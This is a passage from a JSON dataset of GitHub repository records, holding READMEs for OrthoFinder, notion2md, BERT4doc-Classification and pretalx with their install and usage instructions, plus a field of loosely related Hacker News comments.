(e.g. 'OrthoFinder_source.tar.gz') and requires python 2.7 or python 3 plus scipy & numpy to be installed. Up-to-date and clear instructions for scipy/numpy are provided here: http://www.scipy.org/install.html. As websites can change, an alternative is to search online for \"install scipy\". \n\n### Manually Installing Dependencies\nTo perform an analysis OrthoFinder requires some dependencies. The OrthoFinder release package now contains these so you should just be able to download it and run. \n\nHere are some brief instructions if you do need to download them manually. They will need to be in the system path, which you can check by using the 'which' command, e.g. `which diamond`. Each of these packages also contains more detailed installation instructions on their websites if you need them.\n\n**Standard workflow:**\n\n1. DIAMOND **or** MMseqs2 (recommended, although BLAST+ can be used instead) \n\n2. The MCL graph clustering algorithm \n\n3. FastME (The appropriate version for your system, e.g. 'fastme-2.1.5-linux64', should be renamed `fastme', see instructions below.) \n\n**MSA workflow:**\n\n4. Multiple sequence alignment program: MAFFT recommended\n\n5. Tree inference program: FastTree* recommended\n\n* FastTree is highly recommended, especially for a first analysis. Note that even a program as fast as IQTREE will take a very large amount of time to run on a reasonable sized dataset. If you intend to do this, it is recommended to try a faster method first (e.g. the standard workflow). Once you've confirmed everything is ok, you can restart the previous analysis from the point where these workflows diverge using the `-M msa` option.\n\n#### DIAMOND\nAvailable here: https://github.com/bbuchfink/diamond/releases\n\nDownload the latest release, extract it and copy the executable to a directory in your system path, e.g.:\n- `wget https://github.com/bbuchfink/diamond/releases/latest/download/diamond-linux64.tar.gz`\n- `tar xzf diamond-linux64.tar.gz`\n- `sudo cp diamond /usr/local/bin`\n\nor alternatively if you don't have root privileges, instead of the last step above, add the directory containing the directory to your PATH variable. \nE.g. \n- `mkdir ~/bin`\n- `cp diamond ~/bin`\n- ``export PATH=$PATH:~/bin/``\n\n#### MCL\nThe mcl clustering algorithm is available in the repositories of some Linux distributions and so can be installed in the same way as any other package. For example, on Ubuntu, Debian, Linux Mint:\n- `sudo apt-get install mcl`\n\nAlternatively, it can be built from source which will likely require the 'build-essential' or equivalent package on the Linux distribution being used. Instructions are provided on the MCL webpage, http://micans.org/mcl/.  \n\n#### FastME\nFastME can be obtained from http://www.atgc-montpellier.fr/fastme/binaries.php. The package contains a 'binaries/' directory. Choose the appropriate one for your system and copy it to somewhere in the system path e.g. '/usr/local/bin'** and name it 'fastme'. I.e.:\n\n- `sudo cp fastme-2.1.5-linux64 /usr/local/bin/fastme`\n\n#### Optional: BLAST+ \nBLAST may give 1-2% accuracy increase over DIAMOND, but with a runtime of approximately 20x longer. NCBI BLAST+ is available in the repositories from most Linux distributions and so can be installed in the same way as any other package. For example, on Ubuntu, Debian, Linux Mint:\n- `sudo apt-get install ncbi-blast+`\n\nAlternatively, instructions are provided for installing BLAST+ on Mac and various flavours of Linux on the \"Standalone BLAST Setup for Unix\" page of the BLAST+ Help manual currently at http://www.ncbi.nlm.nih.gov/books/NBK1762/. Follow the instructions under \"Configuration\" in the BLAST+ help manual to add BLAST+ to the PATH environment variable.\n\n#### Optional: MMseqs2\nAvailable here: https://github.com/soedinglab/MMseqs2/releases\n\nDownload the appropriate version for your machine, extract it and copy the executable to a directory in your system path, e.g.:\n- `wget https://github.com/soedinglab/MMseqs2/releases/download/3-be8f6/MMseqs2-Linux-AVX2.tar.gz`\n- `tar xzf MMseqs2-Linux-AVX2.tar.gz`\n- `sudo cp mmseqs2/bin/mmseqs /usr/local/bin`\n\nor alternatively if you don't have root privileges, instead of the last step above, add the directory containing the directory to your PATH variable \n- ``export PATH=$PATH:`pwd`/mmseqs2/bin/``\n\n### config.json : Adding addtional programs for tree inference, local alignment or MSA\nYou can actually use **any** alignment or tree inference program you like the best! Be careful with the method you chose, OrthoFinder typically needs to infer about 10,000-20,000 gene trees. If you have many species or if the tree/alignment method isn't super-fast then this can take a very long time! MAFFT + FastTree provides a reasonable compromise. OrthoFinder already knows how to call:\n- mafft\n- muscle\n- iqtree\n- raxml\n- raxml-ng\n- fasttree\n\nFor example, to you muscle and iqtree, the command like arguments you need to add are: `\"-M msa -A muscle -T iqtree\"`\n\nOrthoFinder also knows how to use the following local sequence alignment programs:\n- BLAST\n- DIAMOND\n- MMSeqs2\n\nIf you want to use a different program, there is a simple configuration file called **\"config.json\"** in the orthofinder directory and you can also create a file of the same format called **\"config_orthofinder_user.json\"** in your user home directory. You just need to add an entry to tell OrthoFinder what the command line looks like for the program you want to use. There are lots of examples in the file that you can follow. The \"config.json\" file is read first and then the \"config_orthofinder_user.json\", if it is present. The config_orthofinder_user.json file can be used to add user-specific options and to overwrite options from config.json. In most cases it is best to add additional options to the \"config_orthofinder_user.json\" since these will continue to apply if you update your version of OrthoFinder.\n\n### Adding Extra Species\nOrthoFinder allows you to add extra species without re-running the previously computed BLAST searches:\n\n- `orthofinder -b previous_orthofinder_directory -f new_fasta_directory`\n\nThis will add each species from the 'new_fasta_directory' to existing set of species, reuse all the previous BLAST results, perform only the new BLAST searches required for the new species and recalculate the orthogroups. The 'previous_orthofinder_directory' is the OrthoFinder 'WorkingDirectory/' containing the file 'SpeciesIDs.txt'.\n\n### Removing Species\nOrthoFinder allows you to remove species from a previous analysis. In the 'WorkingDirectory/' from a previous analysis there is a file called 'SpeciesIDs.txt'. Comment out any species to be removed from the analysis using a '#' character and then run OrthoFinder using: \n\n- `orthofinder -b previous_orthofinder_directory`\n\nwhere 'previous_orthofinder_directory' is the OrthoFinder 'WorkingDirectory/' containing the file 'SpeciesIDs.txt'.\n\n### Adding and Removing Species Simultaneously\nThe previous two options can be combined, comment out the species to be removed as described above and use the command:\n- `orthofinder -b previous_orthofinder_directory -f new_fasta_directory`\n\n### Inferring Multiple Sequence Alignment (MSA) Gene Trees\nTrees can be inferred using  multiple sequence alignments (MSA) by using the option \"-M msa\". By default MAFFT is used to generate the MSAs and FastTree to generate the gene trees. Alternatively, any other program can be used in place of these. Many popular programs have already been configured by having an entry in the config.json file in the orthofinder directory. All options currently available can be seen by using the option \"-h\" to see the help file. The config.json file is user-editable to allow for any other desired program to be added. MAFFT, FastTree, or whatever programs are used instead need to be in the system path.\n\nOrthoFinder performs light trimming of the MSA to prevent overly long runtimes & RAM usage caused by very long, gappy alignemnts. A column is trimmed from the alignment if is it greater than 90% gaps and provided two conditions are met. 1. The length of the trimmed alignment cannot go below 500 AA 2. No more than 25% of non-gap characters can be removed from the alignment. If either of these conditions are not met then the threshold for the percentage of gaps in removed columns is progressively increased beyond 90% until both conditions are met. The trimming can be turned off using the option \"-z\".\n\n### Parallelising OrthoFinder Algorithm \nThere are two separate options for controlling the parallelisation of OrthoFinder.\n\n- **'-t number_of_threads'**:\nThis option should always be used. It specifies the number of parallel processes for the BLAST/DIAMOND searches and tree inference steps. These steps represent most of the runtime and are highly-parallelisable and so you should typically use as many threads as there are cores available on your computer. This is the value it will default to if not specified by the user.\n\n- **'-a number_of_orthofinder_threads'**\nIn addition to the above, all of the critical internal steps of the OrthoFinder algorithm have been parallelised. The number of threads for these steps is controlled using the '-a' option. These steps typically have larger RAM requirements and so using a value 4-8x smaller than that used for the '-t' option is usually a good choice. Since these steps are a small component of the overall runtime it is not important to set '-a' as high as possible in order to get good performance. Not running out of RAM is a more important consideration. If the '-a' parameter is not set it will default to 16 or one eighth of the '-t' parameter, whichever is smaller.\n\n### Running BLAST Searches Separately (-op option)\nThe '-op' option will prepare the files in the format required by OrthoFinder and print the set of BLAST commands that need to be run. \n- `orthofinder -f fasta_files_directory -op`\n\nThis is useful if you want to manage the BLAST searches yourself. For example, you may want to distribute them across multiple machines. Once the BLAST searches have been completed the orthogroups can be calculated using the '-b' command as described in Section \"Using Pre-Computed BLAST Results\".\n\n### Using Pre-Computed BLAST Results\nIt is possible to run OrthoFinder with pre-computed BLAST results provided they are in the correct format. They can be prepared in the correct format using the '-op' command and, equally, the files from a previous OrthoFinder run are also in the correct format to rerun using the '-b' option. The command is simply:\n\n- `orthofinder -b directory_with_processed_fasta_and_blast_results`\n\nIf you are running the BLAST searches yourself it is strongly recommended that you use the '-op' option to prepare the files first (see Section \"Running BLAST Searches Separately\"). Should you need to prepare them manually, the required files and their formats are described in the appendix of the PDF Manual (for example, if you already have BLAST search results from another source and it will take too much computing time to redo them).\n\n### Regression Tests\nA set of regression tests are included in the directory 'Tests' available from the github repository. They can be run by calling the script 'test_orthofinder.py'. They currently require version 2.2.28 of NCBI BLAST and the script will exit with an error message if this is not the case.\n\n## Methods\nThe orthogroup inference stage of OrthoFinder is described in the first paper: https://genomebiology.biomedcentral.com/articles/10.1186/s13059-015-0721-2\n\nThe second stage from orthogroups to gene trees, the rooted species tree, orthologs, gene duplication events etc. is described in the second paper: https://genomebiology.biomedcentral.com/articles/10.1186/s13059-019-1832-y\n\nThe workflow figure at the top of this page summarises this.\n\nThe rooting of the unrooted species tree is described in the STRIDE paper: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5850722/\n\nSpecies tree inference is described in the second OrthoFinder paper and in the STAG paper: <https://www.biorxiv.org/content/10.1101/267914v1>. A summary is provided below.\n\n### Species Tree Inference\nOrthoFinder infers orthologs from rooted gene trees. Since tree inference methods return unrooted gene trees, OrthoFinder requires a rooted species tree in order to root the gene trees before ortholog inference can take place. There are two methods that can be used for unrooted species tree inference (plus a fallback method that is employed in rare circumstances when there is insufficient data for the other methods). Additionally, if the user knows the topology of the rooted species tree they can provide it to OrthoFinder (the branch lenghts aren't required). The rooted species tree is only required in the final step of the OrthoFinder analysis, the rooting of the gene trees and the inference of orthologs and gene duplication events. This step is comparitively fast and so it is easy to run just this last step using the '-ft' option and a corrected species tree if you want to use a different species tree to the one OrthoFinder used.\n\n#### Default species tree method\nThe default species tree method is STAG, described here: <https://www.biorxiv.org/content/10.1101/267914v1>\n1. The set of all orthogroups with all species present (regardless of gene copy number) is identified: X\n2. For each orthogroup x in X, a matrix of pairwise species distances is calculated. For x, the distance between each species pair is the tree distance for the closest pair of genes from that species pair in the gene tree for x.\n3. For each orthogroup x in X, a species tree is inferred from the distance matrix.\n4. A consensus tree of all these individual species trees is calculated as the final species tree\n5. The support value for each bipartition is the number of individual  species trees that contained that bipartition. \n6. When it is run, OrthoFinder outputs how many orthogroups it has identified with all species present. E.g. for the example dataset: \n> 269 trees had all species present and will be used by STAG to infer the species tree\n\n#### Multiple Sequence Alignment species tree method (-M msa)\nThe MSA species tree method is also described in the STAG paper: <https://www.biorxiv.org/content/10.1101/267914v1>, it is used whenever the MSA method is used for tree inference using the '-M msa' option. It infers the species tree from a concatenated MSA of single-copy genes. For many datasets there will not be many orthogroups that have exactly one gene in every species since gene duplication and loss events make such orthogroups rare. For this reason, OrthoFinder will identify orthogroups that are single-copy in a proportion (p%) of species and use the single-copy genes from these orthogroups as additional data to infer the species tree. This is standard practice in most papers in which a species tree is inferred. OrthoFinder provides a formalised procedure for determining a suitable value of p. Let S be the number of species.\n1. Identify n, the number of orthogroups with exactly one gene in s species, where s is initially equal to S, the number of species in the analysis. If n >= 1000 stop here and use these orthogroups\n2. While n < 1000\n * set s = s-1\n * recalculate n, number of orthogroups with at least s species single-copy\n * If n >= 100 and the proportional increase in the number of orthogroups, n, is less than two times the proportional decrease in s then stop here and use the n orthogroups. Reducing the minimum threshold for single-copy species is not giving a large amount of extra data and so it's not worth reducing this threshold further. if s<0.5xS then require a 4 times proportional increase in the number of orthogroups to for each decrement in s to avoid lowering s too far.\n3. Create a concatenated species MSA from the single-copy genes in the selected orthogroups.\n4. Trim the MSA of any column that has more than (S - 0.5s) gaps. (I.e. S-s species could be gaps anyway because of the inclusion threshold that was determined and then at most 50% gaps in a particular column for the s genes represented for that column).\n5. When it is run, OrthoFinder outputs how many orthogroups it has identified and with what minimum threshold percentage of species single-copy in each orthogroup (100*s/S). E.g. for the example dataset: \n> Species tree: Using 246 orthogroups with minimum of 100.0% of species having single-copy genes in any orthogroup\n\n#### Falback species tree method\nIn most datasets there will be thousands of genes present in all species and so the default species tree inference method can be used. In some extreme cases there may not be any such orthogroups. In these cases, instead of the default method, the pairwise distances are calculated in each tree for each species pair that is present in that tree. A single distance matrix is then calculated for the species tree rather than one distance matrix per orthogroup. The distance between each species pair is this matrix is the median of all the closest distances across all the orthogroup gene trees. The species trees is inferred from this distance matrix.\n\n## Command line options\n\n### Options for starting an analysis\n**-f** \\<dir\\>: Start analysis from directory of FASTA files  \n**-b** \\<dir\\>: Start analysis from BLAST results in OrthoFinder directory  \n**-b** \\<dir1\\> **-f** \\<dir2\\>: Start analysis from BLAST results in OrthoFinder dir1 and add FASTA files from dir2  \n**-fg** \\<dir\\>: Start analysis from orthogroups OrthoFinder directory  \n**-ft** \\<dir\\>: Start analysis from gene trees in OrthoFinder directory\n \n### Options for stopping an analysis \n**-op**: Stop after preparing input files for all-vs-all sequence search (e.g. BLAST/DIAMOND)  \n**-og**: Stop after inferring orthogroups  \n**-os**: Stop after writing sequence files for orthogroups (requires '-M msa')  \n**-oa**: Stop after inferring mulitple sequence alignments for orthogroups (requires '-M msa')  \n**-ot**: Stop after inferring gene trees for orthogroups  \n\n### Options controlling the workflow\n**-M** \\<opt\\>: Use MSA or DendroBLAST gene tree inference, opt=msa,dendroblast [default=dendroblast]    \n\n### Options controlling the programs used\n**-S** \\<opt\\>: Sequence search program opt=blast,diamond,mmseqs,... user-extendable [Default = diamond]   \n**-A** \\<opt\\>: MSA program opt=mafft,muscle,... user-extendable (requires '-M msa') [Default = mafft]   \n**-T** \\<opt\\>: Tree inference program opt=fasttree,raxml,iqtree,... user-extendable (requires '-M msa') [Default = fasttree]    \n \n ### Further options\n**-d**: Input is DNA sequences \n**-t** \\<int\\>: Number of threads for sequence search, MSA & tree inference [Default is number of cores on machine]  \n**-a** \\<int\\>: Number of parallel analysis threads for internal, RAM intensive tasks [Default = 1]  \n**-s** \\<file\\>: User-specified rooted species tree  \n**-I** \\<int\\>: MCL inflation parameter [Default = 1.5]  \n**-x** \\<file\\>: Info for outputting results in OrthoXML format  \n**-p** \\<dir\\>:  Write the temporary pickle files to \\<dir\\>  \n**-1**: Only perform one-way sequence search  \n**-X**: Don't add species names to sequence IDs in output files  \n**-y**: Split paralogous clades below root of a HOG into separate HOGs  \n**-z**: Don't trim MSAs (columns>=90% gap, min. alignment length 500)  \n**-n** \\<txt\\>: Name to append to the results directory  \n**-o** \\<txt\\>: Non-default results directory  \n**-h**: Print this help text  \n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "echo724/notion2md", "link": "https://github.com/echo724/notion2md", "tags": ["notion", "notion-markdown", "markdown"], "stars": 507, "description": "Notion Markdown Exporter with Python Cli", "lang": "Python", "repo_lang": "", "readme": "![Notion2Md logo - an arrow pointing from \"N\" to \"MD\"](Notion2md.jpg)\n\n<br/>\n\n## About Notion2Md\n\n[![Downloads](https://pepy.tech/badge/notion2md)](https://pepy.tech/project/notion2md)\n[![PyPI version](https://badge.fury.io/py/notion2md.svg)](https://badge.fury.io/py/notion2md)\n[![Code Quality](https://github.com/echo724/notion2md/actions/workflows/code_quality.yaml/badge.svg)](https://github.com/echo724/notion2md/actions/workflows/code_quality.yaml)\n<a href=\"https://hits.seeyoufarm.com\"><img src=\"https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fgithub.com%2Fecho724%2Fnotion2md&count_bg=%23949191&title_bg=%23555555&icon=github.svg&icon_color=%23E7E7E7&title=visited&edge_flat=false\"/></a>\n\n- Notion Markdown Exporter using **official notion api** by [notion-sdk-py](https://github.com/ramnes/notion-sdk-py)\n\n### Notion2Medium\n\n- Check out [Notion2Medium](https://github.com/echo724/notion2medium) that publishes a **Medium** post from **Notion** using Notion2Md.\n\n## API Key(Token)\n\n- Before getting started, create [an integration and find the token](https://www.notion.so/my-integrations). \u2192 [Learn more about authorization](https://developers.notion.com/docs/authorization).\n\n- Then save your api key(token) as your os environment variable\n\n```Bash\n$ export NOTION_TOKEN=\"{your integration token key}\"\n```\n\n## Install\n\n```Bash\n$ pip install notion2md\n```\n\n## Usage: Shell Command\n\n![Terminal output of the `notion2md -h` command](notion2md_options.png)\n\n- Notion2md requires either `id` or `url` of the Notion page/block.\n\n- **download** option will download files/images in the `path` directory.\n\n- **unzipped** option makes Notion2Md export ***unzipped*** output of Notion block.\n\n```Bash\nnotion2md --download -n post -p ~/MyBlog/content/posts -u https://notion.so/...\n```\n\n- This command will generate \"**post.zip**\" in your '**~/MyBlog/content/posts**' directory.\n\n## Usage: Python\n\n```Python\nfrom notion2md.exporter.block import MarkdownExporter, StringExporter\n\n# MarkdownExporter will make markdown file on your output path\nMarkdownExporter(page_id='...',output_path='...',download=True).export()\n\n# StringExporter will return output as String type\nmd = StringExporter(page_id='...',output_path='...').export()\n```\n\n## To-do\n\n- [x] Download file object(image and files)\n- [x] Table blocks\n- [x] Synced Block\n- [ ] Page Exporter\n- [ ] Child page\n- [ ] Column List and Column Blocks\n\n## Contribution\n\nPlease read [Contribution Guide](CONTRIBUTION.md)\n\n## Donation\n\nIf you think **Notion2Md** is helpful to you, you can support me here:\n\n<a href=\"https://www.buymeacoffee.com/echo724\" target=\"_blank\"><img src=\"https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png\" alt=\"Buy Me A Coffee\" style=\"height: 54px;\" height=\"54\"></a>\n\n## License\n[MIT](https://choosealicense.com/licenses/mit/)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "xuyige/BERT4doc-Classification", "link": "https://github.com/xuyige/BERT4doc-Classification", "tags": ["natural-language-processing", "bert", "text-classification"], "stars": 507, "description": "Code and source for paper ``How to Fine-Tune BERT for Text Classification?``", "lang": "Python", "repo_lang": "", "readme": "# How to Fine-Tune BERT for Text Classification?\n\nThis is the code and source for the paper [How to Fine-Tune BERT for Text Classification?](https://arxiv.org/abs/1905.05583)\n\nIn this paper, we conduct exhaustive experiments to investigate different fine-tuning methods of BERT on text classification task and provide a general solution for BERT fine-tuning.\n\n\n\\*********** **update at Mar 14, 2020** \\*************\n\nOur checkpoint can be loaded in BertEmbedding from the latest [fastNLP](https://github.com/fastnlp/fastNLP) package.\n\n[Link to](https://github.com/fastnlp/fastNLP/blob/master/fastNLP/embeddings/bert_embedding.py) fastNLP.embeddings.BertEmbedding\n\n## Requirements\n\nFor further pre-training, we borrow some code from Google BERT. Thus, we need:\n\n+ tensorflow==1.1x\n+ spacy\n+ pandas\n+ numpy\n\nNote that you need Python 3.7 or earlier for compatibility with tensorflow 1.1x.\n\nFor fine-tuning, we borrow some codes from pytorch-pretrained-bert package (now well known as transformers). Thus, we need:\n\n+ torch>=0.4.1,<=1.2.0\n\n\n\n## Run the code\n\n### 1) Prepare the data set:\n\n#### Sogou News\n\nWe determine the category of the news based on the URL, such as \u201csports\u201d corresponding\nto \u201chttp://sports.sohu.com\u201d. We choose 6 categories\n\u2013 \u201csports\u201d, \u201chouse\u201d, \u201cbusiness\u201d, \u201centertainment\u201d,\n\u201cwomen\u201d and \u201ctechnology\u201d. The number\nof training samples selected for each class is 9,000\nand testing 1,000.\n\nData is available at [here](https://drive.google.com/drive/folders/1Rbi0tnvsQrsHvT_353pMdIbRwDlLhfwM).\n\n#### The rest data sets\n\nThe rest data sets were built by [Zhang et al. (2015)](https://papers.nips.cc/paper/5782-character-level-convolutional-networks-for-text-classification.pdf).\nWe download from [URL](https://drive.google.com/drive/u/0/folders/0Bz8a_Dbh9Qhbfll6bVpmNUtUcFdjYmF2SEpmZUZUcVNiMUw1TWN6RDV3a0JHT3kxLVhVR2M) created by Xiang Zhang.\n\n\n### 2) Prepare Google BERT:\n\n[BERT-Base, Uncased](https://storage.googleapis.com/bert_models/2018_10_18/uncased_L-12_H-768_A-12.zip)\n\n[BERT-Base, Chinese](https://storage.googleapis.com/bert_models/2018_11_03/chinese_L-12_H-768_A-12.zip)\n\n\n### 3) Further Pre-Training:\n\n#### Generate Further Pre-Training Corpus\n\nHere we use AG's News as example:\n```shell\npython generate_corpus_agnews.py\n```\nFile ``agnews_corpus_test.txt`` can be found in directory ``./data``.\n\n#### Run Further Pre-Training\n\n```shell\npython create_pretraining_data.py \\\n  --input_file=./AGnews_corpus.txt \\\n  --output_file=tmp/tf_AGnews.tfrecord \\\n  --vocab_file=./uncased_L-12_H-768_A-12/vocab.txt \\\n  --do_lower_case=True \\\n  --max_seq_length=128 \\\n  --max_predictions_per_seq=20 \\\n  --masked_lm_prob=0.15 \\\n  --random_seed=12345 \\\n  --dupe_factor=5\n  \npython run_pretraining.py \\\n  --input_file=./tmp/tf_AGnews.tfrecord \\\n  --output_dir=./uncased_L-12_H-768_A-12_AGnews_pretrain \\\n  --do_train=True \\\n  --do_eval=True \\\n  --bert_config_file=./uncased_L-12_H-768_A-12/bert_config.json \\\n  --init_checkpoint=./uncased_L-12_H-768_A-12/bert_model.ckpt \\\n  --train_batch_size=32 \\\n  --max_seq_length=128 \\\n  --max_predictions_per_seq=20 \\\n  --num_train_steps=100000 \\\n  --num_warmup_steps=10000 \\\n  --save_checkpoints_steps=10000 \\\n  --learning_rate=5e-5\n```\n\n\n### 4) Fine-Tuning\n\n#### Convert Tensorflow checkpoint to PyTorch checkpoint\n\n```shell\npython convert_tf_checkpoint_to_pytorch.py \\\n  --tf_checkpoint_path ./uncased_L-12_H-768_A-12_AGnews_pretrain/model.ckpt-100000 \\\n  --bert_config_file ./uncased_L-12_H-768_A-12_AGnews_pretrain/bert_config.json \\\n  --pytorch_dump_path ./uncased_L-12_H-768_A-12_AGnews_pretrain/pytorch_model.bin\n```\n\n#### Fine-Tuning on downstream tasks\n\nWhile fine-tuning on downstream tasks, we notice that different GPU (e.g.: 1080Ti and Titan Xp) may cause \nslight differences in experimental results even though we fix the initial random seed.\nHere we use 1080Ti * 4 as example.\n\nTake Exp-I (See Section 5.3) as example,\n\n```shell\nexport CUDA_VISIBLE_DEVICES=0,1,2,3\npython run_classifier_single_layer.py \\\n  --task_name imdb \\\n  --do_train \\\n  --do_eval \\\n  --do_lower_case \\\n  --data_dir ./IMDB_data/ \\\n  --vocab_file ./uncased_L-12_H-768_A-12_IMDB_pretrain/vocab.txt \\\n  --bert_config_file ./uncased_L-12_H-768_A-12_IMDB_pretrain/bert_config.json \\\n  --init_checkpoint ./uncased_L-12_H-768_A-12_IMDB_pretrain/pytorch_model.bin \\\n  --max_seq_length 512 \\\n  --train_batch_size 24 \\\n  --learning_rate 2e-5 \\\n  --num_train_epochs 3.0 \\\n  --output_dir ./imdb \\\n  --seed 42 \\\n  --layers 11 10 \\\n  --trunc_medium -1\n```\n\nwhere ``num_train_epochs`` can be 3.0, 4.0, or 6.0.\n\n``layers`` indicates list of layers which will be taken as feature for classification.\n-2 means use pooled output, -1 means concat all layer, the command above means concat\nlayer-10 and layer-11 (last two layers).\n\n``trunc_medium`` indicates dealing with long texts. -2 means head-only, -1 means tail-only,\n0 means head-half + tail-half (e.g.: head256+tail256),\nother natural number k means head-k + tail-rest (e.g.: head-k + tail-(512-k)).\n\nThere also other arguments for fine-tuning:\n\n``pooling_type`` indicates which feature will be used for classification. `mean` means\nmean-pooling for hidden state of the whole sequence, `max` means max-pooling, default means\ntaking hidden state of `[CLS]` token as features.\n\n``layer_learning_rate`` and ``layer_learning_rate_decay`` in ``run_classifier_discriminative.py``\nindicates layer-wise decreasing layer rate (See Section 5.3.4).\n\n\n## Further Pre-Trained Checkpoints\n\nWe upload IMDb-based further pre-trained checkpoints at\n[here](https://drive.google.com/drive/folders/1Rbi0tnvsQrsHvT_353pMdIbRwDlLhfwM).\n\nFor other checkpoints, please contact us by e-mail.\n\n## How to cite our paper\n\n```text\n@inproceedings{sun2019fine,\n  title={How to fine-tune {BERT} for text classification?},\n  author={Sun, Chi and Qiu, Xipeng and Xu, Yige and Huang, Xuanjing},\n  booktitle={China National Conference on Chinese Computational Linguistics},\n  pages={194--206},\n  year={2019},\n  organization={Springer}\n}\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "pretalx/pretalx", "link": "https://github.com/pretalx/pretalx", "tags": ["conference", "conference-management", "call-for-papers", "scheduling", "events", "cfp", "call-for-paper", "python", "django", "pretalx"], "stars": 508, "description": "Conference planning tool: CfP, scheduling, speaker management", "lang": "Python", "repo_lang": "", "readme": "|logo|\n\n.. image:: https://img.shields.io/github/workflow/status/pretalx/pretalx/Tests.svg\n   :target: https://github.com/pretalx/pretalx/actions?query=workflow%3ATests\n   :alt: Continuous integration\n\n.. image:: https://img.shields.io/codecov/c/github/pretalx/pretalx.svg?colorB=3aa57c\n   :target: https://codecov.io/gh/pretalx/pretalx\n   :alt: Coverage\n\n.. image:: https://img.shields.io/pypi/v/pretalx.svg?colorB=3aa57c\n   :target: https://pypi.python.org/pypi/pretalx\n   :alt: PyPI\n\n.. image:: https://img.shields.io/badge/docs-passing-3aa57c\n   :target: https://docs.pretalx.org/\n   :alt: Documentation\n\n.. image:: https://img.shields.io/badge/news-blog-3aa57c\n   :target: https://pretalx.com/p/news/\n   :alt: Website\n\n.. image:: https://img.shields.io/twitter/url?label=Twitter&logoColor=%234aa57c&style=social&url=https%3A%2F%2Ftwitter.com%2Fpretalx\n   :target: https://twitter.com/pretalx\n   :alt: Twitter account\n\n``pretalx`` is a conference planning tool focused on providing the best\nexperience for organisers, speakers, reviewers, and attendees alike.  It\nhandles the submission process with a configurable Call for Participation, the\nreviewing and selection of submissions, and the scheduling and release\nhandling. After the event, ``pretalx`` allows speakers to receive feedback,\nupload their slides, and organisers to embed recordings.\n\nRead our `feature list`_ on our main site to get a better idea of what\n`pretalx` can do for you, but it typically involves everything you'll need to\ncurate submissions and contents for a conference with several tracks and\nconference days.\n\nYou can host pretalx yourself, as detailed in our `administrator\ndocumentation`_, or use our public instance at `pretalx.com`_. If you want to\nuse pretalx, we recommend you follow `our blog`_, where we announce new\nversions and upcoming features.\n\n\ud83d\udcfa Look and feel\n----------------\n\n|screenshots|\n\nCheck out our `feature list`_ for more screenshots \u2013 or check the `list of\nevents`_ to see how pretalx looks in the wild.\n\npretalx is highly configurable, so you can change its appearance and behaviour\nin many ways if the defaults don't fit your event. If the settings are not\nenough for you, you can even write plugins of your own.\n\n\ud83d\udea6 Project status\n-----------------\n\n`pretalx` is under `active development`_ and used by `many events`_. It\nsupports everything required for talk submission, speaker communication, and\nscheduling. You can see our supported features in the `feature list`_, and our\nplanned features in our open issues_. `pretalx` has regular releases \u2013 you can\nlook at the `changelog`_ to see upcoming and past changes, and install pretalx\nvia PyPI_.\n\n\ud83d\udd28 Contributing\n---------------\n\nContributions to pretalx are very welcome! You can contribute observations,\nbugs or feature requests via the issues. If you want to contribute changes to\npretalx, please check our `developer documentation`_ on how to set up pretalx\nand get started on development. Please bear in mind that our Code of Conduct\napplies to the complete contribution process.\n\nIf you are interested in plugin development, check both our documentation and\nour `list of plugin ideas`_ in the project wiki.\n\n\ud83d\udca1 Project information\n----------------------\n\nThe pretalx source code is available on `GitHub`_, where you can also find the\nissue tracker. The documentation is available at `docs.pretalx.org`_, and you\ncan find up to date information on `our blog`_ and `Twitter`_. The pretalx\npackage is available via `PyPI`_.\n\nWe publish `pretalx` under the terms of the Apache License. See the LICENSE\nfile for further information and the complete license text. The licenses of all\ndependencies are documented in the `DEPENDENCIES.rst`_ file.\n\nThe primary maintainer of this project is Tobias Kunze <r@rixx.de> (who also\nruns `pretalx.com`_).  See the CONTRIBUTORS file for a list of all the awesome\nfolks who contributed to this project.\n\n\ud83e\udded Users\n--------\n\nIf you want to look at conferences using pretalx, head over to the wiki for a\n`list of events`_. And if you use pretalx for your event, please add it to the\nlist (or tell us about it, and we'll add it)!\n\n.. |logo| image:: https://raw.githubusercontent.com/pretalx/pretalx/main/assets/logo.png\n   :alt: pretalx logo\n   :target: https://pretalx.com\n.. |screenshots| image:: https://raw.githubusercontent.com/pretalx/pretalx/main/assets/screenshots.png\n   :target: https://pretalx.com/p/features\n   :alt: Screenshots of pretalx pages\n.. _issues: https://github.com/pretalx/pretalx/issues/\n.. _feature list: https://pretalx.com/p/features\n.. _developer documentation: https://docs.pretalx.org/developer/index.html\n.. _administrator documentation: https://docs.pretalx.org/administrator/index.html\n.. _pretalx.com: https://pretalx.com/\n.. _active development: https://github.com/pretalx/pretalx/pulse\n.. _changelog: https://docs.pretalx.org/en/latest/changelog.html\n.. _PyPI: https://pypi.python.org/pypi/pretalx\n.. _DEPENDENCIES.rst: https://github.com/pretalx/pretalx/blob/main/DEPENDENCIES.rst\n.. _list of plugin ideas: https://github.com/pretalx/pretalx/wiki/Plugin-ideas\n.. _list of events: https://github.com/pretalx/pretalx/wiki/Events\n.. _many events: https://github.com/pretalx/pretalx/wiki/Events\n.. _our blog: https://pretalx.com/p/news/\n.. _GitHub: https://github.com/pretalx/pretalx\n.. _docs.pretalx.org: https://docs.pretalx.org\n.. _Twitter: https://twitter.com/pretalx\n", "readme_type": "rst", "hn_comments": "How engineers can become great at sales<HN_SEP>This is good - more money for Big Pharma!<HN_SEP>I hope it will allow docking with phallus shaped rockets occasionally.<HN_SEP>Is this some sort of sexual related joke?Whatever turns you on, man!<HN_SEP>Setting aside the absurd notion that form isn\u2019t following function in existing aerospace design, can anyone knowledgeable opine on the claims made here about a vulvic craft being more aerodynamic than traditional \u201cphallic\u201d designs?<HN_SEP>This is Onion fodder, right?<HN_SEP>Absurd.What about geometric shape equity?I'm offended that wheels are round! We need more representation of squares and triangles in wheels.Let's get a petition going to change the laws of physics so we can use any shape we want.Seriously though are they serious or is this a gag?<HN_SEP>\"Why not a twin-hull design?\" asked Breasts.<HN_SEP>I think it's a bit too early for April Fools.The video is very cringe.<HN_SEP>Deez Nuts!<HN_SEP>I just love this kinds of projects.If it's an elaborate joke it's a great joke.If it's a group of 